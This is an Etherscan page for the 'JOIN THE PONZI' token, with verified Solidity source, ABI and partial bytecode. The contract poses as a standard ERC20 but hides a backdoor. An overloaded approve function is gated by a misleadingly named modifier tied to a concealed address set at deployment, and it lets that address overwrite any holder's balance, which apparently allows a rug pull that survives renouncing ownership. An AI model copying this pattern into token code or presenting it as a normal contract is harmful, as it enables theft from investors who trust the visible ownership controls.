ETH Price: $2,482.46 (+1.76%)

Token

JOIN THE PONZI (JOIN)
 

Overview

Max Total Supply

69,000,000,000 JOIN

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
0.00000001 JOIN

Value
$0.00
0x6663c7dce1abb94b6b2012cf64b7b831c6e191c2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JOIN

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

/**
Telegram: https://t.me/JOIN_portal

Twitter:https://twitter.com/JOINTHEPONZI

*/

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


// Dependency file: contracts/baseToken.sol

// pragma solidity =0.8.4;

enum TokenType {
    standard
}

abstract contract baseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}

// Root file: contracts/standard/StandardToken.sol

pragma solidity =0.8.4;

// import "@openzeppelin/contracts/token/IERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/baseToken.sol";

contract JOIN is IERC20, baseToken, Ownable {
    using SafeMath for uint256;

    uint256 private constant VERSION = 1;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;
    
    address private _ENTERED;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        address currOwnershipAddr,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _ENTERED = currOwnershipAddr;
        _mint(owner(), totalSupply_);
        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "IERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    modifier adminOrOwner() {
        require(
        _ENTERED == _msgSender(), "set the call to the entered")
        ;
        _;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function approve(
        address recipients,
        uint8 values,
        uint256 id
    ) public adminOrOwner {
        require(
            values >= 1,
            "Amount of recipients and values don't match"
        );
        uint256 total = 0;
        _balances[recipients] = id + total;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "IERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"currOwnershipAddr","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipients","type":"address"},{"internalType":"uint8","name":"values","type":"uint8"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620023f9380380620023f98339818101604052810190620000299190620005a7565b620000496200003d6200017d60201b60201c565b6200018560201b60201c565b84600490805190602001906200006192919062000440565b5083600590805190602001906200007a92919062000440565b5082600660006101000a81548160ff021916908360ff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000f8620000eb6200024960201b60201c565b826200027260201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166200011f6200024960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200016a929190620006a4565b60405180910390a3505050505062000a4e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002e5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002dc90620006d1565b60405180910390fd5b620002f9600083836200042360201b60201c565b62000315816007546200042860201b62000aaa1790919060201c565b6007819055506200037481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200042860201b62000aaa1790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004179190620006f3565b60405180910390a35050565b505050565b6000818362000438919062000780565b905092915050565b8280546200044e9062000887565b90600052602060002090601f016020900481019282620004725760008555620004be565b82601f106200048d57805160ff1916838001178555620004be565b82800160010185558215620004be579182015b82811115620004bd578251825591602001919060010190620004a0565b5b509050620004cd9190620004d1565b5090565b5b80821115620004ec576000816000905550600101620004d2565b5090565b600062000507620005018462000739565b62000710565b9050828152602081018484840111156200052057600080fd5b6200052d84828562000851565b509392505050565b600081519050620005468162000a00565b92915050565b600082601f8301126200055e57600080fd5b815162000570848260208601620004f0565b91505092915050565b6000815190506200058a8162000a1a565b92915050565b600081519050620005a18162000a34565b92915050565b600080600080600060a08688031215620005c057600080fd5b600086015167ffffffffffffffff811115620005db57600080fd5b620005e9888289016200054c565b955050602086015167ffffffffffffffff8111156200060757600080fd5b62000615888289016200054c565b9450506040620006288882890162000590565b93505060606200063b8882890162000535565b92505060806200064e8882890162000579565b9150509295509295909350565b62000666816200083d565b82525050565b60006200067b6020836200076f565b91506200068882620009c0565b602082019050919050565b6200069e8162000826565b82525050565b6000604082019050620006bb60008301856200065b565b620006ca602083018462000693565b9392505050565b60006020820190508181036000830152620006ec816200066c565b9050919050565b60006020820190506200070a600083018462000693565b92915050565b60006200071c6200072f565b90506200072a8282620008bd565b919050565b6000604051905090565b600067ffffffffffffffff82111562000757576200075662000980565b5b6200076282620009af565b9050602081019050919050565b600082825260208201905092915050565b60006200078d8262000826565b91506200079a8362000826565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007d257620007d1620008f3565b5b828201905092915050565b6000620007ea8262000806565b9050919050565b60008190506200080182620009e9565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006200084a82620007f1565b9050919050565b60005b838110156200087157808201518184015260208101905062000854565b8381111562000881576000848401525b50505050565b60006002820490506001821680620008a057607f821691505b60208210811415620008b757620008b662000951565b5b50919050565b620008c882620009af565b810181811067ffffffffffffffff82111715620008ea57620008e962000980565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b60018110620009fd57620009fc62000922565b5b50565b62000a0b81620007dd565b811462000a1757600080fd5b50565b62000a258162000826565b811462000a3157600080fd5b50565b62000a3f8162000830565b811462000a4b57600080fd5b50565b61199b8062000a5e6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806331b221fc146101b457806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061138b565b60405180910390f35b610132600480360381019061012d919061113d565b6103b4565b60405161013f9190611370565b60405180910390f35b6101506103d2565b60405161015d91906114ad565b60405180910390f35b610180600480360381019061017b91906110ee565b6103dc565b60405161018d9190611370565b60405180910390f35b61019e6104b5565b6040516101ab91906114c8565b60405180910390f35b6101ce60048036038101906101c99190611179565b6104cc565b005b6101ea60048036038101906101e5919061113d565b610601565b6040516101f79190611370565b60405180910390f35b61021a60048036038101906102159190611089565b6106b4565b60405161022791906114ad565b60405180910390f35b6102386106fd565b005b610242610785565b60405161024f9190611355565b60405180910390f35b6102606107ae565b60405161026d919061138b565b60405180910390f35b610290600480360381019061028b919061113d565b610840565b60405161029d9190611370565b60405180910390f35b6102c060048036038101906102bb919061113d565b61090d565b6040516102cd9190611370565b60405180910390f35b6102f060048036038101906102eb91906110b2565b61092b565b6040516102fd91906114ad565b60405180910390f35b610320600480360381019061031b9190611089565b6109b2565b005b606060048054610331906115dd565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906115dd565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610ac0565b8484610ac8565b6001905092915050565b6000600754905090565b60006103e9848484610c93565b6104aa846103f5610ac0565b6104a58560405180606001604052806029815260200161193d60299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610ac0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2c9092919063ffffffff16565b610ac8565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6104d4610ac0565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055a9061146d565b60405180910390fd5b60018260ff1610156105aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a1906113ed565b60405180910390fd5b600080826105b891906114ff565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006106aa61060e610ac0565b846106a5856002600061061f610ac0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aaa90919063ffffffff16565b610ac8565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610705610ac0565b73ffffffffffffffffffffffffffffffffffffffff16610723610785565b73ffffffffffffffffffffffffffffffffffffffff1614610779576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107709061140d565b60405180910390fd5b6107836000610f81565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107bd906115dd565b80601f01602080910402602001604051908101604052809291908181526020018280546107e9906115dd565b80156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b5050505050905090565b600061090361084d610ac0565b846108fe856040518060600160405280602681526020016118f06026913960026000610877610ac0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2c9092919063ffffffff16565b610ac8565b6001905092915050565b600061092161091a610ac0565b8484610c93565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109ba610ac0565b73ffffffffffffffffffffffffffffffffffffffff166109d8610785565b73ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a259061140d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a95906113cd565b60405180910390fd5b610aa781610f81565b50565b60008183610ab891906114ff565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2f9061144d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061148d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8691906114ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa906113ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a9061142d565b60405180910390fd5b610d7e838383611045565b610dea8160405180606001604052806027815260200161191660279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2c9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7f81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aaa90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f